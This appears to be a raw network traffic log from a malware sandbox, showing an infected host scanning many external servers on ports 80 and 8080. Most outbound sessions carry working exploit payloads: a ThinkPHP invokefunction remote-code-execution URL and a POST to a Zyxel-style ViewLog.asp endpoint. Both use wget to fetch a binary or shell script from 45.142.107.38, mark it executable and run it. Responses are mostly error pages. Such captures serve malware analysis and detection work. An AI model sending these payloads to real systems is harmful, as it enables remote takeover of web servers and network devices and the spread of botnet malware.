Mar 4, 2024 15:08:45.720488071 CET	319	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Via: HTTP/1.1 SLB.223 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.13	53046	95.179.222.105	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:44.917140007 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:45.078717947 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:44 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.13	40872	95.110.173.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:44.942821026 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:45.131288052 CET	510	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:37 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 316 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 62 69 62 6c 69 6f 64 69 67 69 74 2e 62 69 62 6c 69 6f 64 61 63 2e 69 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.2.15 (CentOS) Server at bibliodigit.bibliodac.it Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.13	43584	95.217.190.48	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:44.945058107 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:45.133647919 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.13	34162	95.217.15.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:44.947130919 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:45.140726089 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 04 Mar 2024 14:08:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.13	51566	95.59.212.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:45.017473936 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:45.277533054 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:08:45.277607918 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.13	57484	95.154.88.233	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:45.072140932 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:45.387366056 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.13	36416	112.74.205.137	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:46.787494898 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:47.182226896 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:47 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.13	34618	94.237.82.58	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:48.479451895 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:48.647150993 CET	291	IN	HTTP/1.1 404 Not Found Content-Security-Policy: frame-src 'self' https://traefik.io https://*.traefik.io; Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 04 Mar 2024 14:08:48 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.13	50090	62.29.40.188	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:48.528275013 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.13	52082	94.131.57.166	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:48.567662954 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:48.723378897 CET	1260	IN	HTTP/1.1 400 Bad Request Server: squid/4.10 Mime-Version: 1.0 Date: Mon, 04 Mar 2024 14:08:48 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3545 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from localhost X-Cache-Lookup: NONE from localhost:8080 Via: 1.1 localhost (squid/4.10) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2019 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2020 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.13	38628	94.123.2.82	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:48.741957903 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.13	44750	94.46.175.175	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:49.495851040 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:50.454950094 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:50.636213064 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:49 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {

